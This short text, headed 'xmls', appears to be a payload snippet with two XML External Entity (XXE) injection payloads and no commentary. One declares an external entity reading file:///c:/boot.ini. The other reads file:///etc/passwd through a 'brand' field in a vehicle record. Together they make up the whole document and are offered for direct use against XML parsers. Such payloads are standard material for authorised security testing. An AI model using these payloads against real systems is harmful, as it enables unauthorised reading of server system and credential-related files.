xmls

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&xxe;</foo>

<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>  
<vehicle>   
   <type>Car</type>   
   <brand>&test;</brand>  
</vehicle>